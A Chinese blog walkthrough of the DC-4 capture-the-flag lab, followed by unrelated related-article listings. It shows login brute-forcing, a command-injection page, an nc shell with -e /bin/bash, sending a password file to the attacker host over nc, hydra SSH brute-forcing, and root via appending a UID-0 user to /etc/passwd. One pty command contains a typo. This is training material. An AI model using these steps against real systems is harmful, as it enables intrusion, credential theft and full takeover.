个人博客:点我

DC系列共9个靶场,本次来试玩一下DC-4,只有一个flag,下载地址

下载下来后是 .ova 格式,建议使用vitualbox进行搭建,vmware可能存在兼容性问题。靶场推荐使用NAT(共享)模式,桥接模式可能会造成目标过多不易识别。


IP

DC-4: 192.168.31.176
Kali: 192.168.31.17
Win7: 192.168.31.168


信息搜集

首先是主机发现,得到靶机ip

arp-scan -l

对其进行端口扫描,开放了80、22、4444端口

nmap -sV -A -p- 192.168.31.176

先80端口登上去看一看,是个登录窗口。

御剑对其进行目录扫描,所有php网页都是跳转到index.php,因此无论如何都要登录进去得了。


渗透过程

这个登录界面做的很简易,明显就是想让人攻进去。或许存在sql注入(但我没有试出来),直接丢进burp一波爆破,爆出账号admin,密码happy。登进去后是一个命令执行。

使用burp抓个包看看能否截获。果然只要修改radio的值就能修改执行的命令。
当然shadow是不可能让我们看的,可以看一看login.php,密码确实是happy。部分源码如下:

login.php
...
<?php
$username = $_POST['username'];
$password = $_POST['password']; if ($username == 'admin' && $password == 'happy') {
$_SESSION['LoggedIn']=$username;
}
else
{
...
command.php
...
if (isset($_SESSION['LoggedIn'])) {
if (isset($_POST['submit'])) {
if(isset($_POST['radio']))
{
echo "You have selected: ".$_POST['radio'] . "<br />";
$my_cmd = $_POST['radio'];
//echo $my_cmd;
$output = shell_exec($my_cmd);
echo "<pre>";
print $output;
echo "</pre>";
}
}
echo "<p><a href='login.php'>Return to the menu.</a>";
}
...

本来想上传个webshell,结果当前目录没有写的权限,我是用命令执行漏洞nc反弹shell的。

nc -lvp 4444 -e /bin/bash 	#靶机发送shell
nc 192.168.31.176 4444 #kali连接

python建立虚拟终端

python -m 'improt pty;pty.spawn("/bin/bash");'

登录进来就是www-data用户。


提权

然后就各处常见目录翻一翻,最终在/home中发现三个人类用户-> jim, charles, sam
只有在jim中有文件,其他都是空的。

test.sh就是个循环四五遍的echo测试,mailbox是root发给他的一封信,也没有什么有价值的内容。backups中有文件old_passwords.bak密码备份文件,利用python建立HTTP服务或直接nc传输到kali上来进行ssh的爆破。

nc 192.168.31.17 7890 < old_passwords.bak
nc -lvp 4444 > pass.txt
hydra -l jim -P pass.txt 192.168.31.176 ssh

爆破出jim的ssh密码为:jibril04
直接ssh连上去。sudo -l看一下能执行什么管理员权限,结果直接sudo就没有权限。内核漏洞更是不存在。
这里我卡了很久,一直没有什么提权思路,jim的权限着实太低了什么都不能干,一直想着怎么提到root,最后想到还有两个用户,可以二次提权。最终那封邮件给了我启发,在/var/mail中找到一封jim的邮件,查看里面就有charles的密码,真是没想到。

su到charles后就能执行sudo -l了,发现teehee是可以以无密码以sudo执行的。

我也不知道teehee是什么,–help看一下文档,

-a 参数可以追加文件,但不会覆盖,直接就想到了在passwd中加一个root权限的用户不就可以提权了。

echo "haha123::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
su haha123

最后在/root中找到flag


总结

整个靶场整体并不难,主要是后来得提权要通过邮件还是难想到的。

内网渗透DC-4靶场通关的更多相关文章

  1. 内网渗透之vlunstack靶场

    前言:vlunstack靶场是由三台虚拟机构成,一台是有外网ip的windows7系统(nat模式),另外两台是纯内网机器(外网ping不通),分别是域控win2008和内网主机win2003,这里就 ...

  2. 【CTF】msf和impacket联合拿域控内网渗透-拿域控

    前言 掌控安全里面的靶场内网渗透,练练手! 内网渗透拿域控 环境:http://afsgr16-b1ferw.aqlab.cn/?id=1 1.进去一看,典型的sql注入 2.测试了一下,可以爆库,也 ...

  3. Linux内网渗透

    Linux虽然没有域环境,但是当我们拿到一台Linux 系统权限,难道只进行一下提权,捕获一下敏感信息就结束了吗?显然不只是这样的.本片文章将从拿到一个Linux shell开始,介绍Linux内网渗 ...

  4. 7.内网渗透之windows认证机制

    文章参考自三好学生域渗透系列文章 看了内网渗透第五篇文章,发现如果想要真正了解PTT,PTH攻击流程,还需要了解windows的认证机制,包括域内的kerberos协议. windows认证机制 在域 ...

  5. 利用MSF实现三层网络的一次内网渗透

    目标IP192.168.31.207 很明显这是一个文件上传的靶场 白名单限制 各种尝试之后发现这是一个检测文件类型的限制 上传php大马文件后抓包修改其类型为  image/jpeg 上传大马之后发 ...

  6. 内网渗透测试思路-FREEBUF

    (在拿到webshell的时候,想办法获取系统信息拿到系统权限) 一.通过常规web渗透,已经拿到webshell.那么接下来作重要的就是探测系统信息,提权,针对windows想办法开启远程桌面连接, ...

  7. 内网渗透 关于GPO

    网上有很多讲内网渗透的文章,但看来看去还是一老外的博客给力,博客地址:www.harmj0y.net/blog,看完就明白这里面的很多思路都非常好. 做内网时,有时会碰到目标的机器开防火墙,所有端口基 ...

  8. [原创]K8 Cscan 3.6大型内网渗透自定义扫描器

    前言:无论内网还是外网渗透信息收集都是非常关键,信息收集越多越准确渗透的成功率就越高但成功率还受到漏洞影响,漏洞受时效性影响,对于大型内网扫描速度直接影响着成功率漏洞时效性1-2天,扫描内网或外网需1 ...

  9. [原创]K8 cping 3.0大型内网渗透扫描工具

    [原创]K8 Cscan 大型内网渗透自定义扫描器 https://www.cnblogs.com/k8gege/p/10519321.html Cscan简介:何为自定义扫描器?其实也是插件化,但C ...

  10. [源码]Python简易http服务器(内网渗透大文件传输含下载命令)

    Python简易http服务器源码 import SimpleHTTPServerimport SocketServerimport sysPORT = 80if len(sys.argv) != 2 ...

随机推荐

  1. Tomcat 端口配置及原理详解

    1. tomcat 文件配置详细说明 tomcat服务器需配置三个端口才能启动,安装时默认启用了这三个端口,当要运行多个tomcat服务时需要修改这三个端口,不能相同.端口配置路径为tomcat\ c ...

  2. ubuntu-常用设置备忘

    环境 系统平台:Ubuntu 16.04.6 其他版本设置也差不多 vim喜好设置 系统安装vim sudo apt-get install vim 通过修改 /etc/vim/vimrc 文件设置 ...

  3. Appium自动化(11) - 详解 Applications 类里的方法和源码解析

    如果你还想从头学起Appium,可以看看这个系列的文章哦! https://www.cnblogs.com/poloyy/category/1693896.html 前言 Applications 类 ...

  4. adb 常用命令大全(5)- 日志相关

    前言 Android 系统的日志分为两部分 底层的 Linux 内核日志输出到 /proc/kmsg Android 的日志输出到 /dev/log 语法格式 adb logcat [<opti ...

  5. 通过JDK动态代理实现 Spring AOP

    1.新建一个目标类 接口:public interface IUserService //切面编程 public void addUser(); public void updateUser( ); ...

  6. MySQL日志管理、备份、恢复

    目录: 一.MySQL 日志管理 二.数据库备份的重要性与分类 三.常见的备份方法 四.MySQL完全备份 五.数据库完全备份分类 六.MySQL增量备份 七.MySQL数据库增量恢复 八.MySQL ...

  7. Xilinx约束学习笔记(三)—— 时序概念

    3. 时序概念 发现对于时序基础的介绍这一块,Intel 的文档竟然要比 Xilinx 的详细,因此引用了很多 Intel 的文档内容. 3.1 术语 发送沿(launch edge),指用来发送数据 ...

  8. 'Specifying a namespace in include() without providing an app_name '报错解决

    需要在每个ap下面的url.py 加入一个指定app的名字 比如  user  app  下的 url.py  文件加入: urlpatterns = []app_name = "user& ...

  9. Django学习day08随堂笔记

    今日考题 """ 今日考题 1.聚合查询,分组查询的关键字各是什么,各有什么特点或者注意事项 2.F与Q查询的功能,他们的导入语句是什么,针对Q有没有其他用法 3.列举常 ...

  10. Jmeter系列(10)- Linux环境安装之Jmeter下载配置

    step-1下载 我是之前windows有,就直接copy到Linux系统了 step-2Jmter放到local目录 mv apache-jmeter-5.2.1 /usr/local/ step- ...